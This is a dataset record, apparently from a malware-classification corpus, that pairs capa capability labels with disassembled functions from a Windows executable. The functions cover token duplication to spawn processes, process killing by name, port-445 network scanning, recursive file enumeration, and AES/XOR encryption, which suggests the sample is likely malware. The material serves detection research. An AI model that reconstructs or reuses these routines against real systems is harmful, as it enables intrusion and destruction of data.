joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40489e
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
xor esi, esi
push 0x20a
mov dword [ebp - 4], esi
call fcn.00409041
pop ecx
push 0x40
mov ebx, eax
lea eax, [ebp - 0x5c]
push esi
push eax
mov dword [ebp - 0x60], esi
call fcn.00408fa9
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
lea eax, [ebp - 8]
push esi
push eax
call fcn.00403d4b
pop ecx
pop ecx
cmp ebx, esi
je 0x404925
push ebx
call fcn.00405b0e
pop ecx
test eax, eax
je 0x404925
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push ebx
push esi
mov dword [ebp - 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x404925
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
push 1
push dword [ebp - 8]
call fcn.00403d4b
pop ecx
pop ecx
cmp ebx, esi
je 0x40493c
push ebx
call fcn.004090a1
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x404944
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x15
mov ebx, eax
call fcn.00406347
push 0x20a
mov edi, eax
call fcn.00409041
add esp, 0xc
mov esi, eax
cmp bl, 6
jb 0x4049b9
call fcn.00404428
test eax, eax
je 0x4049b9
lea eax, [ebp - 8]
push 0
push eax
call fcn.00403d4b
pop ecx
pop ecx
test edi, edi
je 0x4049ad
test esi, esi
je 0x4049ad
push esi
call fcn.00405b0e
pop ecx
test eax, eax
je 0x4049ad
push edi
push esi
call fcn.00403e9e
pop ecx
pop ecx
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
call fcn.00403d4b
pop ecx
pop ecx
test esi, esi
je 0x4049c4
push esi
call fcn.004090a1
pop ecx
push edi
call fcn.004039da
mov eax, dword [ebp - 4]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4049d3
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
xor esi, esi
push 0x27
mov dword [ebp - 0x18], esi
call fcn.00406347
mov edi, eax
push edi
mov dword [ebp - 0x20], edi
call fcn.004090b5
add esp, 0xc
push 0x20a
lea ebx, [eax + edi + 1]
call fcn.00409041
pop ecx
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0x40
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x8c]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x90], esi
call fcn.00408fa9
xor eax, eax
mov dword [ebp - 0x38], esi
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x44], esi
lea edi, [ebp - 0x40]
stosd dword es:[edi], eax
add esp, 0xc
cmp byte [ebp - 0x14], 6
stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
jb 0x404b3a
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00403d4b
pop ecx
pop ecx
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
cmp eax, esi
je 0x404b24
cmp dword [ebp - 4], esi
je 0x404b24
push dword [ebp - 4]
call fcn.00405b0e
pop ecx
test eax, eax
je 0x404b24
call dword [sym.imp.USER32.dll_GetShellWindow]
cmp eax, esi
je 0x404b24
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x404b24
push dword [ebp - 0x1c]
push esi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x404b24
lea ecx, [ebp - 0xc]
push ecx
mov ebx, 0x2000000
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x404b24
lea eax, [ebp - 8]
push eax
push 1
push 2
lea eax, [ebp - 0x44]
push eax
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x44], 0xc
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x404b24
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x90]
push eax
push esi
push esi
push esi
push esi
push dword [ebp - 4]
push esi
push dword [ebp - 8]
call dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
push 1
push dword [ebp - 0x28]
call fcn.00403d4b
pop ecx
pop ecx
cmp dword [ebp - 0x10], esi
je 0x404b3a
push dword [ebp - 0x10]
call edi
cmp dword [ebp - 0x38], esi
je 0x404b44
push dword [ebp - 0x38]
call edi
cmp dword [ebp - 0x34], esi
je 0x404b4e
push dword [ebp - 0x34]
call edi
cmp dword [ebp - 0xc], esi
je 0x404b58
push dword [ebp - 0xc]
call edi
cmp dword [ebp - 8], esi
je 0x404b62
push dword [ebp - 8]
call edi
cmp dword [ebp - 4], esi
je 0x404b70
push dword [ebp - 4]
call fcn.004090a1
pop ecx
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call fcn.004039b7
mov eax, dword [ebp - 0x18]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404d68
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], esi
call fcn.0040930f
pop ecx
cmp eax, esi
je 0x404db8
push edi
push esi
push esi
push eax
push 0x404b85
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x404db7
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x404db0
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x404dee
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x404e9f
push esi
mov esi, 0x22c
push esi
lea eax, [ebp - 0x234]
push edi
push eax
call fcn.00408fa9
add esp, 0xc
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
mov dword [ebp - 0x234], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x404e99
push ebx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call fcn.00403711
pop ecx
test eax, eax
js 0x404e84
push dword [ebp - 0x22c]
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x404e81
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov ebx, eax
call edi
add dword [ebp - 4], ebx
lea eax, [ebp - 0x234]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x404e49
pop ebx
push dword [ebp - 8]
call edi
pop esi
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x404ea5
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push edi
xor ebx, ebx
call fcn.00403c7a
push ebx
push 0x19
mov edi, eax
call fcn.00406347
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x40], eax
push 8
mov eax, edi
pop edx
lea edi, [ebp - 0x20]
mov dword [ebp - 0x4c], 0x40a20c
mov dword [ebp - 0x44], str.ELVL
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
mov dword [esi], ebx
call fcn.00405a46
movzx eax, byte [ebp + 8]
push 8
pop edx
lea edi, [ebp - 0x34]
call fcn.00405a46
lea eax, [ebp - 0x4c]
push eax
push dword [ebp - 0xc]
call fcn.00405fe7
mov edi, eax
add esp, 0x10
mov dword [ebp + 8], edi
cmp edi, ebx
je 0x404f4d
push edi
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov dword [esi], eax
cmp eax, ebx
jne 0x404f39
push edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esi], eax
cmp eax, ebx
je 0x404f60
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
neg edi
sbb edi, edi
inc edi
jne 0x404f62
jmp 0x404f4f
mov edi, ebx
mov eax, dword [esi]
cmp eax, ebx
je 0x404f62
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi], ebx
jmp 0x404f62
mov edi, ebx
push dword [ebp - 0xc]
call fcn.004039da
pop ecx
push dword [ebp + 8]
call fcn.004039da
pop ecx
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x404fa9
Capabilities:
Check for time delay via gettickcount
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], 0x2710
call edi
mov dword [ebp - 0xc], eax
call edi
mov ebx, 0x3e8
jmp 0x405054
mov eax, 0x200
push 0x40
pop ecx
sub eax, esi
mov dword [ebp - 0x11c], ecx
cmp eax, ecx
ja 0x404ff2
mov dword [ebp - 0x11c], eax
push dword [ebp - 0x11c]
mov eax, dword [ebp + 8]
lea eax, [eax + esi*4]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00408fd7
add esi, dword [ebp - 0x11c]
push 0x104
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00408fd7
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
xor ecx, ecx
test eax, eax
setg cl
or dword [ebp - 8], ecx
call edi
sub eax, dword [ebp - 0xc]
cmp eax, ebx
jb 0x404fd8
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405067
Capabilities:
Connect socket
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 2
lea ebx, [esi + eax]
pop eax
push 0x1bd
mov dword [ebp - 0x14], ebx
mov word [ebp - 0x38], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x36], ax
xor eax, eax
mov byte [ebp - 0x34], 0
lea edi, [ebp - 0x33]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 4
mov edi, 0x200
push edi
call fcn.0040905b
push 4
push edi
mov dword [ebp - 0xc], eax
call fcn.0040905b
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp esi, ebx
jae 0x405219
xor ebx, ebx
cmp esi, dword [ebp - 0x14]
jae 0x405219
cmp ebx, edi
jae 0x405139
push dword [ebp + 8]
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
call dword [sym.imp.WS2_32.dll_htonl]
inc dword [ebp + 8]
push 6
push esi
push 2
mov dword [ebp - 0x34], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
test esi, esi
je 0x405131
lea eax, [ebp - 0x20]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x405131
push 0x10
lea eax, [ebp - 0x38]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40512a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x405131
mov eax, dword [ebp - 0xc]
mov dword [eax + ebx*4], esi
inc ebx
mov eax, dword [ebp - 0x14]
cmp dword [ebp + 8], eax
jb 0x4050ce
test ebx, ebx
je 0x40520d
push dword [ebp - 0xc]
call fcn.00404fa9
and dword [ebp - 8], 0
pop ecx
mov eax, dword [ebp - 0xc]
dec ebx
lea esi, [eax + ebx*4]
cmp dword [esi], 0
mov dword [ebp - 0x1c], ebx
je 0x4051e1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x1007
push 0xffff
mov dword [ebp - 0x24], 4
push dword [esi]
call dword [sym.imp.WS2_32.dll_getsockopt]
test eax, eax
jne 0x4051e1
cmp dword [ebp - 0x10], eax
jne 0x4051e1
push 2
push 1
lea eax, [ebp - 1]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4051ab
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [ebp - 0x10], eax
test ebx, ebx
je 0x4051b8
cmp dword [ebp - 0x10], 0x2733
jne 0x4051de
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x28], 0x10
push dword [esi]
call dword [sym.imp.WS2_32.dll_getpeername]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x18]
inc dword [ebp - 8]
mov dword [ecx + edx*4], eax
mov ebx, dword [ebp - 0x1c]
push dword [esi]
call dword [sym.imp.WS2_32.dll_closesocket]
test ebx, ebx
jne 0x40514e
jmp 0x405207
push dword [ebp + 0xc]
dec dword [ebp - 8]
push dword [ebp - 0x44]
call fcn.00402084
pop ecx
pop ecx
test eax, eax
je 0x405219
cmp dword [ebp - 8], 0
jne 0x4051f3
mov esi, dword [ebp + 8]
cmp esi, dword [ebp - 0x14]
jb 0x4050c3
push dword [ebp - 0xc]
call fcn.004090a1
pop ecx
push dword [ebp - 0x18]
call fcn.004090a1
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405840
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
push 0x18
mov edi, eax
mov dword [ebp - 4], ebx
call fcn.00409041
mov esi, eax
movzx eax, word [edi]
pop ecx
cmp ax, bx
je 0x405928
push 0x20
pop ecx
cmp cx, ax
jne 0x405877
add edi, 2
movzx eax, word [edi]
cmp ax, bx
jne 0x405864
cmp word [edi], bx
je 0x405928
push edi
call fcn.004092e1
mov edi, eax
pop ecx
cmp edi, ebx
je 0x405928
push edi
call fcn.004090c6
pop ecx
lea eax, [edi + eax*2 - 2]
jmp 0x4058b9
movzx ecx, word [eax]
push 0x20
pop edx
cmp dx, cx
je 0x4058b1
push 0x5c
pop edx
cmp dx, cx
jne 0x4058bd
xor ecx, ecx
mov word [eax], cx
sub eax, 2
cmp eax, edi
ja 0x40589e
cmp esi, ebx
je 0x405921
mov eax, dword [ebp + 8]
mov dword [esi + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esi], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x10], edi
mov edi, dword [ebp + 0x18]
mov dword [esi + 0xc], eax
mov eax, edi
mov dword [esi + 0x14], edi
call fcn.00405376
push ebx
push ebx
push esi
push 0x4056b3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp eax, ebx
jne 0x405928
mov eax, edi
call fcn.004053e5
push dword [esi + 4]
call fcn.0040861b
push dword [esi + 0x10]
call fcn.004090a1
push esi
call fcn.004090a1
add esp, 0xc
jmp 0x405928
push edi
call fcn.004090a1
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405d61
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
and dword [ebp - 8], 0
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x405eba
push dword [ebp + 8]
call fcn.004090c6
pop ecx
lea ecx, [eax + 2]
mov eax, dword [ebp + 0x14]
cmp eax, ecx
jb 0x405eba
lea eax, [eax + eax + 2]
push eax
call fcn.00409041
mov esi, eax
pop ecx
test esi, esi
je 0x405eba
push dword [ebp + 8]
push esi
call fcn.0040927d
push 0x40a414
push esi
call fcn.004092b4
add esp, 0x10
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x405eb3
mov edi, dword [ebp + 0x18]
cmp word [ebp - 0x230], 0x2e
jne 0x405e0b
cmp word [ebp - 0x22e], 0
je 0x405e92
cmp word [ebp - 0x22e], 0x2e
jne 0x405e0b
cmp word [ebp - 0x22c], 0
je 0x405e92
push dword [ebp + 8]
call fcn.004090c6
mov ebx, eax
pop ecx
lea eax, [ebp - 0x230]
push eax
call fcn.004090c6
lea eax, [ebx + eax + 1]
pop ecx
cmp dword [ebp + 0x14], eax
jb 0x405e92
push dword [ebp + 8]
push esi
call fcn.0040927d
push 0x40a208
push esi
call fcn.004092b4
lea eax, [ebp - 0x230]
push eax
push esi
call fcn.004092b4
push dword [ebp + 0x10]
lea eax, [ebp - 0x25c]
push eax
push esi
push dword [ebp + 8]
call dword [ebp + 0xc]
add esp, 0x28
test eax, eax
je 0x405e92
js 0x405eaa
test edi, edi
je 0x405e8f
test byte [ebp - 0x25c], 0x10
je 0x405e8f
lea eax, [edi - 1]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call fcn.00405d61
add esp, 0x14
add dword [ebp - 8], eax
jmp 0x405e92
inc dword [ebp - 8]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405ddb
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call fcn.004090a1
pop ecx
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40646a
Capabilities:
Encode data using xor
Manually build aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
xor ebx, ebx
push esi
xor ecx, ecx
inc ebx
push edi
mov eax, ebx
mov esi, 0xff
mov edx, eax
and dl, 0x80
movsx edx, dl
neg edx
sbb edx, edx
and edx, 0x1b
lea edi, [eax + eax]
xor edx, edi
mov dword [ebp + ecx*4 - 0x80c], eax
mov dword [ebp + eax*4 - 0x40c], ecx
xor eax, edx
and eax, esi
inc ecx
cmp ecx, 0x100
jl 0x406482
mov eax, ebx
mov ecx, 0x40bd48
mov edx, eax
and dl, 0x80
movsx edx, dl
neg edx
sbb edx, edx
mov dword [ecx], eax
add eax, eax
and edx, 0x1b
xor eax, edx
add ecx, 4
and eax, esi
cmp ecx, 0x40bd70
jl 0x4064b8
mov byte [0x40b448], 0x63
mov byte [0x40d5d3], 0
mov eax, dword [ebp + ebx*4 - 0x40c]
shl eax, 2
lea ecx, [ebp - 0x410]
sub ecx, eax
mov eax, dword [ecx]
mov ecx, eax
sar ecx, 7
lea edx, [eax + eax]
or ecx, edx
and ecx, esi
xor eax, ecx
mov edx, ecx
sar edx, 7
add ecx, ecx
or edx, ecx
and edx, esi
xor eax, edx
mov ecx, edx
add edx, edx
sar ecx, 7
or ecx, edx
and ecx, esi
xor eax, ecx
mov edx, ecx
sar edx, 7
add ecx, ecx
or edx, ecx
xor edx, 0x63
and edx, esi
xor eax, edx
mov byte [ebx + 0x40b448], al
mov byte [eax + 0x40d570], bl
inc ebx
cmp ebx, 0x100
jl 0x4064e8
xor edi, edi
movzx edx, byte [edi + 0x40b448]
mov eax, edx
and al, 0x80
movsx ecx, al
neg ecx
sbb ecx, ecx
and ecx, 0x1b
lea eax, [edx + edx]
xor ecx, eax
and ecx, esi
mov eax, ecx
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, edx
shl eax, 8
xor eax, ecx
mov ecx, edi
mov dword [ecx*4 + 0x40d170], eax
rol eax, 8
mov dword [ecx*4 + 0x40cd70], eax
rol eax, 8
mov dword [ecx*4 + 0x40c970], eax
rol eax, 8
mov dword [ecx*4 + 0x40c570], eax
movzx eax, byte [edi + 0x40d570]
test eax, eax
je 0x4065ca
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3d4]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 4], eax
jmp 0x4065ce
and dword [ebp - 4], 0
movzx eax, byte [edi + 0x40d570]
test eax, eax
je 0x4065f7
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3e8]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 0xc], eax
jmp 0x4065fb
and dword [ebp - 0xc], 0
movzx eax, byte [edi + 0x40d570]
test eax, eax
je 0x406624
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3d8]
mov ebx, esi
cdq
idiv ebx
mov eax, dword [ebp + edx*4 - 0x80c]
mov dword [ebp - 8], eax
jmp 0x406628
and dword [ebp - 8], 0
movzx eax, byte [edi + 0x40d570]
test eax, eax
je 0x40664e
mov eax, dword [ebp + eax*4 - 0x40c]
add eax, dword [ebp - 0x3e0]
mov ebx, esi
cdq
idiv ebx
mov edx, dword [ebp + edx*4 - 0x80c]
jmp 0x406650
xor edx, edx
shl edx, 8
xor edx, dword [ebp - 8]
shl edx, 8
xor edx, dword [ebp - 0xc]
shl edx, 8
xor edx, dword [ebp - 4]
inc edi
mov dword [ecx*4 + 0x40c170], edx
rol edx, 8
mov eax, edx
mov dword [ecx*4 + 0x40bd70], eax
rol eax, 8
mov dword [ecx*4 + 0x40b948], eax
rol eax, 8
mov dword [ecx*4 + 0x40b548], eax
cmp edi, 0x100
jl 0x40654b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4068ee
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
push ebx
push esi
push edi
push 0x128
lea eax, [ebp - 0x134]
push 0
push eax
call fcn.00408fa9
push dword [ebp + 0x10]
mov esi, dword [ebp + 8]
push dword [ebp + 0xc]
lea eax, [ebp - 0x134]
lea ebx, [esi + 0x18]
push eax
mov dword [esi + 4], ebx
call fcn.0040669b
add esp, 0x18
mov dword [ebp - 8], eax
test eax, eax
jne 0x4069fc
mov ecx, dword [ebp - 0x134]
mov dword [esi], ecx
lea edi, [esi + 8]
lea esi, [ebp - 0x12c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
shl ecx, 4
add ecx, dword [ebp - 0x130]
push 4
mov eax, dword [ecx]
mov dword [ebx], eax
pop esi
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
add ecx, esi
mov eax, dword [ecx]
add ebx, esi
mov dword [ebx], eax
mov eax, dword [ebp + 8]
mov edx, dword [eax]
add ebx, esi
dec edx
sub ecx, 0x1c
jmp 0x4069de
mov dword [ebp + 8], esi
movzx eax, byte [ecx + 3]
movzx eax, byte [eax + 0x40b448]
movzx edi, byte [ecx + 2]
movzx edi, byte [edi + 0x40b448]
mov eax, dword [eax*4 + 0x40b548]
xor eax, dword [edi*4 + 0x40b948]
movzx edi, byte [ecx + 1]
movzx edi, byte [edi + 0x40b448]
xor eax, dword [edi*4 + 0x40bd70]
mov edi, dword [ecx]
and edi, 0xff
movzx edi, byte [edi + 0x40b448]
xor eax, dword [edi*4 + 0x40c170]
add ecx, esi
mov dword [ebx], eax
add ebx, esi
dec dword [ebp + 8]
jne 0x406983
dec edx
sub ecx, 0x20
test edx, edx
jg 0x406980
mov eax, dword [ecx]
mov dword [ebx], eax
add ebx, esi
add ecx, esi
mov eax, dword [ecx]
mov dword [ebx], eax
mov eax, dword [ecx + esi]
mov dword [ebx + esi], eax
mov eax, dword [ecx + esi + 4]
mov dword [ebx + esi + 4], eax
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407447
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
add eax, 8
test cl, 0xf
je 0x40745d
push 0xffffffffffffffde
pop eax
leave
ret
cmp dword [ebp + 0xc], 0
push ebx
push esi
push edi
jne 0x4074c7
test ecx, ecx
je 0x407523
sub eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
lea ebx, [ecx - 1]
shr ebx, 4
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
inc ebx
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov esi, eax
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 0x14]
call fcn.00406f2a
pop ecx
push 0x10
mov eax, esi
pop esi
mov ecx, dword [ebp - 8]
mov cl, byte [ecx + eax]
xor byte [eax], cl
inc eax
dec esi
jne 0x40749e
mov edi, dword [ebp + 8]
add dword [ebp - 4], 0x10
sub dword [ebp - 8], 0x10
add edi, 8
dec ebx
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp + 0x14], eax
jne 0x407481
jmp 0x407523
test ecx, ecx
je 0x407523
mov ebx, eax
sub ebx, dword [ebp + 0x10]
dec ecx
shr ecx, 4
inc ecx
mov dword [ebp - 8], ecx
mov esi, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov edi, esi
push 0x10
sub edi, eax
pop ecx
mov dl, byte [ebx + eax]
xor dl, byte [eax]
mov byte [edi + eax], dl
inc eax
dec ecx
jne 0x4074e5
cmp dword [ebp + 0xc], 1
push dword [ebp + 8]
mov eax, esi
jne 0x407503
call fcn.00406a04
jmp 0x407508
call fcn.00406f2a
mov edi, dword [ebp + 8]
add dword [ebp + 0x10], 0x10
add dword [ebp + 0x14], 0x10
add edi, 8
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub ebx, 0x10
dec dword [ebp - 8]
pop ecx
movsd dword es:[edi], dword [esi]
jne 0x4074d8
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x407753
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push esi
push edi
xor edi, edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 0x6a09e667
mov dword [ebp - 0x1c], 0xbb67ae85
mov dword [ebp - 0x18], 0x3c6ef372
mov dword [ebp - 0x14], 0xa54ff53a
mov dword [ebp - 0x10], 0x510e527f
mov dword [ebp - 0xc], 0x9b05688c
mov dword [ebp - 8], 0x1f83d9ab
mov dword [ebp - 4], 0x5be0cd19
xor esi, esi
mov ecx, dword [ebp - 0x30]
mov al, byte [esi + 0x40d680]
mov byte [ebp + ecx - 0x70], al
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x40
jne 0x4077cd
lea ecx, [ebp - 0x70]
mov eax, ecx
call fcn.004082ee
add dword [ebp - 0x28], 0x200
mov dword [ebp - 0x30], edi
adc dword [ebp - 0x24], edi
inc esi
cmp esi, 0x20
jb 0x4077a0
lea eax, [ebp - 0x70]
call fcn.0040848a
pop edi
pop esi
leave
ret